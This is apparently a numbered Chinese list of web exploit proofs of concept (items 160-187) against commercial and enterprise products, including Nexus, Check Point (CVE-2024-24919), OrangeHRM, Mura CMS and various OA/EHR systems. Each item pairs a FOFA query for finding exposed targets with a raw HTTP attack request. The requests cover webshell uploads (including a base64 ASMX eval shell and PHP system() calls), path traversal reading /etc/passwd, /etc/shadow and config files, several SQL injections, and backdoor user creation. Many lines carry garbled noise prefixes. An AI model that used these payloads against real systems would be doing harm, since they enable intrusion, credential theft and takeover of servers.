User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
0 v: i. L4 V/ y" y. {Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
) l/ v- |: C, w2 S; h
4 ^5 @+ r* v5 G+ f3 a) _, W+ C<?xml version="1.0" encoding="utf-8"?>
2 ?' {8 S) ]4 s& r<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
4 Q' W2 Z: b6 C$ g+ r1 V<soap:Body>
9 ~$ E: u+ P: \7 [6 L8 e7 {<jobUpload xmlns="http://rainier">
- y3 n* q6 D/ X8 d<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
6 L. z' g! y; _7 s5 q$ g$ q  F</jobUpload>
" n3 E+ B; f  s$ D) T6 M( g</soap:Body>
</soap:Envelope>


/ A( s" E& J; f* a* V- y9 @; V/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

8 L# D3 U0 |- y: M2 x- O! t
160. Sonatype Nexus Repository 3目录遍历与文件读取
% n. P8 d* k$ P+ _# R( d2 Q: kCVE-2024-4956
FOFA：title="Nexus Repository Manager"
: {4 {& u* S/ A& V6 C) cGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
) q3 Q3 v3 q6 Z5 p, C& i, n1 mAccept-Language: en
Accept-Encoding: gzip
- b1 T) F" {: H1 q3 f

4 d* B7 f6 r  i- m161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
- h0 G! I, D. ~; `2 w: k5 M第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
4 Z$ v1 g/ M7 o/ sPOST /Webservice.asmx HTTP/1.1
" p2 q! {- u( {* p6 Q8 w$ _% ZHost: x.x.x.x
; a& ]$ l/ X; K3 W1 G& |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
" C( a! {: @' Z- r! DContent-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip
  ^% u- {) a: P) d
% g' ^2 ~7 w: g* x- r) o<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
+ D9 g) y2 X. z" mxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
% R/ l" w+ N- x<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
3 v: C- H( X8 t- L% j* }5 U<ip>1</ip>
5 H1 {2 j4 q: V+ n<fileName>../../../../dizxdell.aspx</fileName>
7 C  v7 Z4 \# z% L* J/ t/ {4 r: g7 \<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
6 G* H" D  y8 Q9 r! H# ]5 p4 y% g<tag>3</tag>
</UploadResume>
% x4 g* B8 z( p3 G7 Y# U8 H! e1 l# T</soap:Body>
5 B/ N0 @& H6 y( O% m2 z- j) d</soap:Envelope>


http://x.x.x.x/dizxdell.aspx
# P, T- e$ G8 U, }  }6 d5 q
- v9 E  S7 [% t" z2 U162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
$ i: R) [2 g7 `FOFA: app="和丰山海-数字标牌"
, q! P* N1 p6 h5 TPOST /QH.aspx HTTP/1.1
5 d) k/ [1 H+ |, p  iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
' U. x2 }% X! E2 J6 ]Connection: close
Content-Length: 583
) z2 }5 M. M; w, {/ D8 Z0 NContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
7 s' l* H$ F* d0 E- FAccept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

$ C# ~0 Z; ?1 Pupload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
- z; b/ |. f& E4 p3 h8 U/ oContent-Disposition: form-data; name="remotePath"

- @) x2 o+ N" I' G) E# ]/opt/resources
" K1 b0 K! [: g4 S------WebKitFormBoundaryeegvclmyurlotuey--
# A( ^' m1 \8 ]8 |. J& }
, m' e  N* C3 M9 w. S! b
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
  R9 W! ~  j5 u, {FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
/ i8 [# T; T: I) @. v+ q8 uConnection: close
Content-Length: 293
4 q6 M) \- W2 k! N& |Accept: */*
7 }! ?$ P" Q, x3 e2 e6 gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# Z4 d1 T/ g- W, ^# W. |Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

2 a# ^# X6 ?% C------iiqvnofupvhdyrcoqyuujyetjvqgocod
1 i# {# W) Y8 X. IContent-Disposition: form-data; name="name"
# `: `" P! E, [6 W
( ~5 w! ]! {0 Y7 e8 c1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
+ s; P8 `0 s; X6 e. ?/ A
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

2 `# E8 P$ \( g( X  h# I
+ p' b- [6 N: z8 N  m/ M164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
+ m: k# ~2 s. W4 w/ s, aFOFA: title="智慧综合管理平台登入"
# Z, B. Q4 P/ P9 M! YPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
0 N1 ~9 }0 d6 s$ w* hContent-Length: 288
- A2 d7 l3 w$ f6 x$ @/ T% qAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
  V- M1 ]' s6 _, q! u$ r
7 O$ ]. _* c' P6 H1 J7 @  @3 ?------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
; }- F# z8 q. V) n8 r* E. jContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
  @, D- `; ?1 E
6 A: G7 U9 y0 _
. C' s% P2 Z2 |" |http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
6 D5 O( o- F6 Y6 h) GCVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
! `9 M0 u$ |$ u2 c' u! w
; Z, N, E& i$ l# H2 H/ a
& p& ^8 k6 S! S2 ]* f$ b166. 中成科信票务管理平台SeatMapHandler SQL注入
6 K4 z9 D9 E" [. |; ~1 ]FOFA：body="技术支持：北京中成科信科技发展有限公司"
3 W1 S# V3 g4 j* g. b1 R6 \POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
! t3 f- m2 q' s" p) A+ c8 n, \# _Host:
Pragma: no-cache
Cache-Control: no-cache
$ n0 t+ n2 D. R6 f, WUpgrade-Insecure-Requests: 1
: ~6 x  j* X2 r6 p2 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
/ }' x6 L/ \, R0 m* m: n6 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
  R3 j$ C4 u5 n+ e0 r5 p3 nContent-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
- C% t- S) `5 r3 g

167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
! I& z. Q1 `* v+ ^GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
0 ~$ T" p3 j4 k5 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 R+ X1 E' B0 `7 N8 wContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
" J, Z9 W% J" t% H5 }1 l& o" [Accept: */*
Connection: keep-alive

* n6 ]* i( A$ K* ]" w( q
% M: T% z- K# b9 F0 O168. 宏景EHR OutputCode 任意文件读取
1 @  H) b4 L. V. f4 GFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
" M/ V; h: Z. W, J8 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
+ V% L3 a$ f- M* t5 N' Z  [4 }Content-Type: application/x-www-form-urlencoded
7 k$ H) k2 y4 L- iConnection: close


( g1 g' B$ T5 T  C" N2 e3 V
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
1 y& ^2 F. T2 \+ \0 E, F5 A) _. yGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
8 p, V; d) u3 z5 F  f1 KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, u2 f! e+ O# a; K  AAccept: */*
Accept-Encoding: gzip, deflate
7 U- P) p, Z5 U+ y. n) b; _Connection: close
7 @0 d- H0 K; r! @( G! e3 h
, i- t$ b' ]  Z: N5 Z8 ]$ G

5 V, E& f9 _' Z# s170. 宏景EHR DisplayExcelCustomReport 任意文件读取
1 _/ R7 o8 ~/ w! ~% cFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
0 `- B3 v* X3 B2 oUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* \2 J8 p4 b' `8 Q# W7 G$ G" KContent-Type: application/x-www-form-urlencoded
" d# I6 }. {, P' v# V7 a8 n& `* y
8 O1 U" Q9 q4 y+ g( X1 b; q* ^filename=../webapps/ROOT/WEB-INF/web.xml


6 }: p5 z4 c( x; U) Q+ D171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
7 X: e8 s0 `2 Z$ I# z. r- n; hHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
9 N  y# E/ E$ S9 j6 hAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
# q: t9 n0 y* x4 s& R* T, C$ _6 d
% |) B( K9 V7 N! z5 ~8 m% w2 I. ?# ]
. s0 C; o% H% _' F8 [' m2 Y
172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
- t' c( S9 Q0 g0 Y; w$ z3 SGET /../../../../etc/passwd HTTP/1.1
% s/ M) `5 Y, C4 [, h+ tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: G* c1 q, M/ |6 @Accept-Encoding: gzip, deflate
Accept: */*
! F; p* r6 }0 X0 z  q0 l! ~Connection: keep-alive

& m1 h7 G$ U$ @7 d0 ^

173. Check Point 安全网关任意文件读取
! r! [8 P" n! F1 A5 d* wCVE-2024-24919
; Q1 J% r4 ?4 N% S9 y  HFOFA：app="Check_Point-SSL-Network-Extender"
; }; [1 O3 k3 z+ u6 ^9 y. {2 z) fPOST /clients/MyCRL HTTP/1.1
Host: your-ip
8 S4 B, z# o3 JContent-Type: application/x-www-form-urlencoded

4 v1 e4 D4 Y- r( ~0 waCSHELL/../../../../../../../etc/shadow
8 Z# ~% w2 j- n- X' ~$ A
  M6 n  j& ^. g% j0 T
5 w6 J' {' n. V* q% o
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
2 \& N  @9 R! P. ?7 X( ~! r& a+ bFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
3 h% p8 \: s; p0 ~5 XHost: your-ip
  b% l  ~# F5 m2 H! ~( \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
8 x& K8 P) t. r; f5 g2 q. aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
+ {- ~/ `) X% a: OAccept-Language: zh-CN,zh;q=0.9
3 U- Z* [9 a+ a( }Connection: close
' ^0 [+ K4 ^  B* U0 S

& o1 A! h6 k/ q/ a# D
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
. p8 V* }; f, F# \FOFA：app="金和网络-金和OA"
& s. C; N; n# gGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
9 p  H; E' p6 P7 DUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  C0 a! U6 E: e& P0 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) S4 {3 y# W" W" s# LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
4 z# {  o; y2 IUpgrade-Insecure-Requests: 1
9 K& Z" ?! J6 d- w2 x
" F# Z+ ~6 h) e
1 _( X# m# e( g/ Q) O5 S2 d176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
0 r  M" a( L: ?  ~5 g- qPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
. d& n% l: Q/ \3 M6 O  MContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
" i5 D" Z* X0 q) U, N, ]& L
, S1 r4 k/ g+ z5 d------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
! z3 ?& c, T5 `' RContent-Type: image/png

: N( n/ k! {: e* ^: A: w<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
2 h2 ]+ L6 Z. P; @0 @1 p0 E
( r7 c) M* D: e& X1 j5 l! [. [
------WebKitFormBoundaryOKldnDPT--
% ^. k1 N$ V( [) S: [
) w1 p0 R5 u  D2 G$ E5 ]: Q1 Q

9 V6 F* R" D4 s( p177. H3C路由器敏感信息泄露
4 X. J% Q0 ]0 d. O/ i- L( P& ?/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
4 O$ P! ?0 F7 e1 I/userLogin.asp/../actionpolicy_status/../M60.cfg
) @* ~* i% Y- u/userLogin.asp/../actionpolicy_status/../GR8300.cfg
0 `- M4 v2 z- s) K/userLogin.asp/../actionpolicy_status/../GR5200.cfg
% s& x" s. t$ m% p0 E$ T/ B9 D/userLogin.asp/../actionpolicy_status/../GR3200.cfg
7 r1 t. C8 H5 T% u/userLogin.asp/../actionpolicy_status/../GR2200.cfg
) _: z) J( S- w; q0 y' `/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
: v3 {8 D1 f. [# A9 L/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
% F2 U2 R" d: u9 _5 A# r/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
- Z* r! _: Y8 D7 j: ?/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
1 }4 ?# Q; T" @: Y8 Q/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
2 h: B& l4 w: [9 S% Z/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
) s( d$ V9 j5 Z4 R$ Q, Y0 ]/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
" ?0 ]3 D/ W' ~8 f/ I- I/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
, J& T  ?9 G' u3 W6 h" t0 T( y

6 F1 H7 A, M: E4 m: b2 G3 N5 f178. H3C校园网自助服务系统-flexfileupload-任意文件上传
0 S& N/ k8 \$ n; `0 o. M$ |FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
3 \, c2 i) K3 e3 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 I: ]$ U# c$ L. ]: t% kContent-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
8 z6 r6 t% t. fContent-Length: 255

: O5 C% p+ m! `) q: t12234
-----------------aqutkea7vvanpqy3rh2l--


, g. B  k) J, a  C' A/ Q: P$ fGET /imc/primepush/%2e%2e/flex/12234.txt
1 Y" O# Q4 j/ x1 a. `

179. 建文工程管理系统存在任意文件读取
- ~& R1 L( [/ M- `POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
9 [' F* k  T+ v0 P8 zUser-Agent: Mozilla/5.0
3 \' l7 b4 ~& d! _6 i" x1 |
path=../log4net.config&Name=

% }5 u5 U0 p9 K$ k; Z( v. ?; R$ t1 b
) M1 N! U4 w. D180. 帮管客 CRM jiliyu SQL注入
( {4 @9 J7 j. PFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 d  G% p4 r& ^5 T- x0 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 S$ K1 }# D2 s; l) ]4 n. ]  a2 lAccept-Encoding: gzip, deflate
4 B  S! V+ B. z7 t7 ]6 kAccept-Language: zh-CN,zh;q=0.9
Connection: close

& `. i0 m2 c% r' {4 l) q
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
! x0 Z+ o1 v. |- o9 X' [: J# T2 WFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
7 ~" x  I2 B' Y4 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; z' B* H* t, z( bAccept-Encoding: gzip, deflate, br
  I9 K( {; i  T1 bAccept-Language: zh-CN,zh;q=0.9
Connection: close
0 d+ t: @- \3 F  Q; wContent-Type: application/x-www-form-urlencoded
; W" L' `9 Y9 |! n3 B$ n# n0 F! H

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
: N8 }' r& S0 a, Q. VFOFA："PDCA/js/_publicCom.js"
3 `- \- i5 j% _1 fPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
( m! f/ L) H# i& C! IHost: your-ip
. p# e. J+ B$ B) G1 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
: V" N" K2 K% R1 g4 J4 r  ~/ [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 t3 ?# L9 B; e0 \0 b, \% u+ HAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
5 M* z- d# r" TContent-Type: application/x-www-form-urlencoded
! m* c) x# b3 p1 `- f, q
* R$ d9 M) z. \' |
; b4 o! ^! g- \* C" j0 D9 L7 X: W( @& yusername=test1234&pwd=test1234&savedays=1
: C7 q5 c$ U" h0 o# d0 W
$ Y+ k2 A5 K) G+ x5 P' |
) C2 `+ h$ l# ]5 e1 R183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
) }1 g+ H5 j' ]6 pFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
+ Y+ e. b& R. v2 B& I; R. [- TGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
+ I2 v4 {- }! ]4 J5 xHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
" E* B$ H& E1 `7 r% k  DAccept-Encoding: gzip, deflate
7 V" b* w: O+ z; C$ EConnection: close

2 E) G1 z+ O9 z( X/ t7 q
0 E6 D# h# l3 R# t184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
& @$ p# ], i( s0 k" ^* Q2 qFOFA：server="SunFull-Webs"
8 j* B8 Y  a, `. `- |5 b1 y' `POST /soap/AddUser HTTP/1.1
3 g4 q, q+ D& kHost: your-ip
2 U' W2 a8 e" GAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
1 G) {: @& B( jAccept: application/xml, text/xml, */*; q=0.01
5 \: f, I4 n4 W& Q7 e3 [# v' QContent-Type: text/xml; charset=utf-8
0 n2 ?/ `8 s& ^2 m7 C& B4 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
" ]7 W: `  p6 A' }' h' _

  L+ \4 d: e  }, ]+ b) c; Jinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

1 I/ j/ d/ `" L6 h
) g0 `9 W; T% O' V9 N185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
/ m# N/ m' a; O1 g" LFOFA：app="REALOR-天翼应用虚拟化系统"
% l" X) Q) T! u9 U+ V9 L1 _GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
; m4 Y# v2 j3 w/ bHost: host

9 a* Y1 P  ?' j
186. F-logic DataCube3 SQL注入
; t& s0 o! E7 d8 N2 g  i& pCVE-2024-31750
  E$ `- B* [# w+ JF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
- f8 M8 f6 d& t7 l4 H7 R% @FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
+ O7 P9 T2 u7 V  ~8 N2 ~Host: your-ip
/ Z$ B% A5 }/ o5 @- dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
: f  T; K- D. ^1 `9 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 h; k. h2 R3 W9 [. g1 {2 B& T! U; tAccept-Encoding: gzip, deflate
3 x9 S* I6 r% s+ q  [$ JConnection: close
3 E9 }$ h5 j" XContent-Type: application/x-www-form-urlencoded

9 z. j3 @- A  J8 w+ a" _1 U& E: Wreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
. q3 A* A, A4 z
; |$ a  ^* }0 {& |+ R2 y3 G' Y2 L
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
